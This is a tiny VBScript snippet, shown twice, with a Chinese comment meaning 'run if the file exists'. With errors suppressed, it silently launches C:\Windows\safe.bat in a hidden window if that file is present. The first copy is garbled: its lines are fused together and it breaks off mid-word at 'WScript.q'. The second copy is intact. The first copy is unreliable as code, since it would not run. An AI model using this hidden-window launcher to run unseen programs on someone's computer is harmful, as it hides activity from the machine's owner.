on error resume nextset Ws = WScript.CreateObject("WScript.Shell")Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("C:\Windows\safe.bat") ThenWs.Run "C:\Windows\safe.bat",0end ifSet Ws = NoThingSet objFSO = NoThingWScript.q

on error resume next
set Ws = WScript.CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\Windows\safe.bat") ThenWs.Run "C:\Windows\safe.bat",0
end if
Set Ws = NoThing
Set objFSO = NoThing
WScript.quit

存在文件就运行